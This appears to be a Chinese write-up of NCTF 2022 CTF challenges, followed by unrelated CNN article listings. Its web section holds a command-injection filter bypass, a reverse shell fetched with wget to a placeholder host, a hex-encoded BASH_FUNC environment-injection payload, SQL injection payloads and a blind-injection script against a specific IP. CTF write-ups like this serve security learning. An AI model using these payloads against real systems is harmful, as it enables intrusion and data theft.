2022NCTF的部分wp及复现

article/2025/9/16 7:37:51

Misc

Signin

程序设计实验作业,但是签到题(听zys说建议把终端字体调小一点并且只需要输入一串来自35年前的神秘秘籍

35年前的秘籍,就是魂斗罗的秘籍

上、上、下、下、左、右、左、右、B、A、B、A

就可以得到flag

image-20221203151055783

NCTF{VVe1c0m3_T0_NCTF_2022!!!}

Web

calc

  • 命令注入
  • 环境变量注入

非预期

image-20221205083628550

网页源码里有提示/source,得到源码

    @app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"

得知这里有waf,通过报错页面可以得到waf的内容image-20221205084607722

def waf(s):blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag= Falseprint(no)breakreturn flag

这里是走os.system()利用换行来执行多条命令

但是要先让eval()执行成功才能走到os.system

所以要用’‘‘来表示python的多行代码,同时os.system执行第一条执行成功后才会执行第二条命令,所以要加一个’来闭合前面的’’',结尾同理

用%09来替代空格

这里有两种方法

复制flag文件到static文件夹

static文件夹是flask的静态文件夹,我们是可以访问到的

而且在报错页面也可以知道app.py的运行目录

payload:

GET: /calc?num='''w'%0acp%09/*f*%09/home/static/v2%0a'123'''#f也可以换成大写试一下

这条代码执行后的log是

image-20221205092316035

然后在/static/v2下载就行

但是如果有坏b把flag文件弄走了就没办法了

反弹shell

因为反弹shell的命令里有被ban的字符,可以先把命令下载下来,然后再去执行他

v2.sh

#! /bin/bash
bash -c ' bash -i &> /dev/tcp/{vpshost}/{vpsport} 0>&1'

payload

GET: /calc?num='''w'%0awget%09{vpshost}/v2.sh%0a'123'''
GET: /calc?num='''w'%0abash%09v2.sh%0a'123'''

image-20221205100635894


原来我上面写的是非预期XD

预期解【calc_revenge

出题师傅的预期解是利用环境变量注入来执行命令,这里涉及到p佬的一篇文章我是如何利用环境变量注入执行任意命令

这里是因为python3的os.system()也是利用/bin/sh -c 来执行的

在subproccess.py文件中

image-20221208232726462

所以可以使用环境变量进行注入

p佬文章中的三个poc

  • Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;
  • Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"
  • Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'

在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。

变量覆盖

接下来就是进行环境变量的覆盖,因为python的环境变量是以字典的形式存在的

可以使用python的list生成器和中括号进行变量覆盖

a={"aaa":'123'}
[[str][0]for[a['aaa']]in[['111']]]
print(a)
#{'aaa': '111'}

Python黑魔法-绕过空格实现变量覆盖(这篇文章中有写过原理,但是使用这里面的方式成功不了,本地都无法执行)

然后就是进行覆盖了,一个个试poc

绕过waf

在引号包裹中的字符可以使用绕过,16进制或者unicode编码都行

然后就是绕过os,这个没有被引号包裹的字符

这里直接使用Pupi1师傅的文字

但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如来代替o,从而绕过限制。

最终的payload:

[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]
#() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}

ez_sql

  • deno的bug

这个在hack.lu ctf中出现过

foodAPI

在后面多传一个?参数就会造成bug,从而导致注入

摘自HuLi的博客:

但是deno 的lib 忘记对栏位名称的 ? 做escape 了,所以如果你传:{"id":"1", "?": "A"},最后出来的SQL 会是:

select * from  `food`  where  `id` =? and  `?` =?

而bind 完之后就会变成:

select * from  `food`  where  `id` = '1'  and  `'A'` =?

你会发现A 那边可以做SQL injection,只要先闭合那个反引号就行了。

但问题是这样会产生不合法的栏位名称,因为里面一定有个单引号,像这样:

select * from  `food`  where  `id` = '1'  and  `'name` --'=?

会出现:

Error: no such column: 'name

然后使用下面的闭合方式可以绕过不存在的字段名

select  id  from food where  `'not_exist'`  and  0  union  select  1 ; 
select  id  from food where  `'not_exist'`  in () union  select  1 ;

payload:

GET: /flight?id=1&?=`+and+0+union+select+1,flag+from+flag --

image-20221205170802842

ez_bypass

  • modsecurity bypass

payload1

给出的hint里知道waf用的是modsecurity

ModSecurity是一个开源的、跨平台的Web应用防火墙(WAF),被称为WAF界的“瑞士军刀”。它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护

在网上搜bypass方法

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

modsecurity是利用Libinjection进行语义分析,所以常规的and,or,||,&&都不能用了作为连接符

这里使用^(异或)来连接两个语句从而进行注入

GET: /sql.php?id=1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={})

当正确的时候,页面不会有回显

利用脚本进行盲注

import requests
import time
url="http://121.37.11.207:8099/sql.php?id="payload1="1^(1.e(ascii 1.e(substring(1.e(select password from users.info where id=1) 1.e,{} 1.e,1 1.e)1.e)1.e)={})"
result=''
for x in range(1,43):for i in range(32,128):url_end=url+payload1.format(x,i)res=requests.get(url_end)if "letian" not in res.text:result+=chr(i)print(result)break

payload2

利用这篇文章的payloadhttps://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1727

http://121.37.11.207:8099/sql.php?id=@.:=right(right((select hex(password) from users.info limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

image-20221205192932575


http://chatgpt.dhexx.cn/article/DSFa2sKU.shtml

相关文章

NCTF2021 Ezsql

好兄弟👦发来的题目,👴当时没做出来,幸好环境还在 这道题测试一遍后,没什么收获,马后炮先扫描网站目录 发现源码,共有三个文件:config.php、DB.php、login.php 代码审计 config是…

2022 NCTF

MISC 炉边聚会 卡组代码是 Base64 编码的字节串&#xff0c;exp <?php $deckstring "AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAiBogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgAAD4AO2B7wFkgnMCMwIga2B/QImgi6BJAIiAn2BOIJAAA"; #这是⼀个⾮常有趣的萨满卡组 $binary bas…

NCTF2022-复现

文章目录 NCTF2022-复现比赛题目比赛总结MiscSignin只因因炉边聚会zystegoqrssssssssqrssssssss_revenge 参考&#xff1a; NCTF2022-复现 比赛题目 NCTF2022 比赛总结 本次比赛&#xff0c;web还是一无所获&#xff0c;自己还是差的很多。反观misc&#xff0c;这次比赛六道…

NCTF2022 Web Writeup

1.calc 题目地址&#xff1a;http://116.205.139.166:8001/ 右键 /source 源码 app.route("/calc",methods[GET]) def calc():ip request.remote_addrnum request.values.get("num")log "echo {0}{1}{2}> ./tmp/log.txt".format(time.strf…

NCTF web总结与复现

前言 打完NCTF休息了一下&#xff0c;总体感觉还行&#xff0c;学到了很多。 calc 这一题也卡了我很久&#xff0c;因为复现过DASCTF三月赛&#xff0c;一直在想着有没有可以替代反引号或绕过的方法&#xff0c;搞了好久都没出&#xff0c;在学长的提示下学到了一个方法&…

CNN网络设计

系列文章目录 文章目录 系列文章目录前言一、CNN基本概念二、卷积计算类型其他算子常用激活函数经典轻量化模型 前言 一图胜千言 一、CNN基本概念 感受野指的是卷积神经网络每一层输出的特征图(feature map)上每个像素点映射回输入图像上的区域大小&#xff0c;神经元感受野…

CNN基本结构和经典网络

卷积网络的基本结构 数据输入层/ Input layer 3种常见的图像数据处理方式&#xff1a;一般CNN只用去均值 卷积计算层/ CONV layer 基本概念&#xff1a; depth:与神经元&#xff08;filter&#xff09;个数相等stribezero-padding 卷积宽长深度计算&#xff1a; 激励层(R…

CNN概述

CNN 卷积神经网络简介 特点 将大数据量的图片降维成小数据量有效保留图片特征 应用领域 人脸识别、自动驾驶、无人安防 CNN解决的问题 图像的数据量太大&#xff0c;导致成本很高&#xff0c;效率很低图像在数字化的过程中容易丢失特征&#xff08;其实就对应了两个特点&…

常见CNN网络结构的详解和代码实现

1. AlexNet 论文地址:ImageNet Classification with Deep Convolutional Neural Networks 2012年提出的AlexNet的网络结构为&#xff1a; 结构说明如下&#xff1a; 1.1 ReLu(Rectified Linear Units)激活函数&#xff1a; Relu函数为 r e l u ( x ) m a x { 0 , x } { …

图像分类网络-经典CNN网络简介

在CNN网络结构的演化上&#xff0c;出现过许多优秀的CNN网络&#xff0c;CNN的经典结构始于1998年的LeNet&#xff0c;成于2012年历史性的AlexNet&#xff0c;从此大盛于图像相关领域&#xff0c;主要包括&#xff1a; 发展历史&#xff1a;Lenet --> Alexnet --> ZFnet …

使用PyTorch搭建CNN神经网络

使用pytorch搭建CNN神经网络 卷积运算的基本原理单层卷积运算valid convolutionsame convolution CNN的基本结构数据输入层卷积层池化层全连接层 数据导入的实现构建基础的CNN网络网络的设计损失函数和优化器训练函数和测试函数实现CNN网络的训练和测试 Googlenet的实现网络框架…

CNN(卷积神经网络)概述

过去几年&#xff0c;深度学习&#xff08;Deep learning&#xff09;在解决诸如视觉识别(visual recognition)、语音识别(speech recognition)和自然语言处理(natural language processing)等很多问题方面都表现出非常好的性能。在不同类型的深度神经网络当中&#xff0c;卷积…

CNN卷积网络

CNN卷积神经网络 1.与全连接神经网络的区别 1).总有至少一个卷积层 2).卷积层级之间的神经元是局部连接和权值共享(整张图片在使用同一个卷积核内的参数&#xff0c;卷积核里的值叫做权重&#xff0c;不会因为图像内位置的不同而改变卷积核内的权系数&#xff09;&#xff0…

CNN(卷积神经网络)

一、卷积神经网络 1、CNN的基本知识 1、卷积神经网络(Convolutional Neural Networks&#xff0c;CNN)的作用&#xff1a;1.cnn跟全连接的区别&#xff1a;原来一个输出神经元的计算是跟所有输入层的神经元相连&#xff0c;现在只是局部输入层的神经元相连&#xff1b;同一所…

CNN卷积神经网络

目录 一、BP神经网络回顾 二、CNN卷积神经网络 1、CNN的主要概述 2、CNN的一般结构 三、CNN卷积神经网络的应用 四、常见的CNN卷积神经网络 一、BP神经网络回顾 人工全连接神经网络 &#xff08;1&#xff09;每相邻两层之间的每个神经元之间都是有边相连的 &#xff0…

深度学习----CNN几种常见网络结构及区别

一、 CNN结构演化历史的图二、 AlexNet网络 2.1 ReLU 非线性激活函数 多GPU训练(Training on Multiple GPUs)局部响应归一化(Local Response Normalization)重叠池化(Overlapping Pooling) 2.2 降低过拟合( Reducing Overfitting) 数据增强(Data Augmentation)Dropout 三、VG…

神经网络--从0开始搭建全连接网络和CNN网络

前言&#xff1a; Hello大家好&#xff0c;我是Dream。 今天来学习一下如何从0开始搭建全连接网络和CNN网络&#xff0c;并通过实验简单对比一下两种神经网络的不同之处&#xff0c;本文目录较长&#xff0c;可以根据需要自动选取要看的内容~ 本文目录&#xff1a; 一、搭建4层…

经典CNN网络:Resnet18网络结构输入和输出

前言 Q1:每当看到一个新的网络&#xff0c;总会思考&#xff0c;这个网络提出来有什么意义&#xff0c;解决了什么问题&#xff1f; Resnet18中的resnet就时网络结构呗&#xff0c;18应该是权重层的数量(参照VGG16的命名方法&#xff0c;应该时这样理解)。 Q2:为什么会出现Resn…

深度学习——CNN卷积神经网络

基本概念 概述 卷积神经网络&#xff08;Convolutional Neural Network&#xff0c;CNN&#xff09;是一种深度学习中常用于处理具有网格结构数据的神经网络模型。它在计算机视觉领域广泛应用于图像分类、目标检测、图像生成等任务。 核心思想 CNN 的核心思想是通过利用局部…

通俗易懂:图解10大CNN网络架构

作者 | Raimi Karim 译者 | Major 编辑 | 赵雪 出品 | AI科技大本营&#xff08;ID: rgznai100&#xff09; 导语&#xff1a;近年来&#xff0c;许多卷积神经网络&#xff08; CNN &#xff09;跃入眼帘&#xff0c;而随着其越来越深的深度&#xff0c;我们难以对某个 CNN 的结…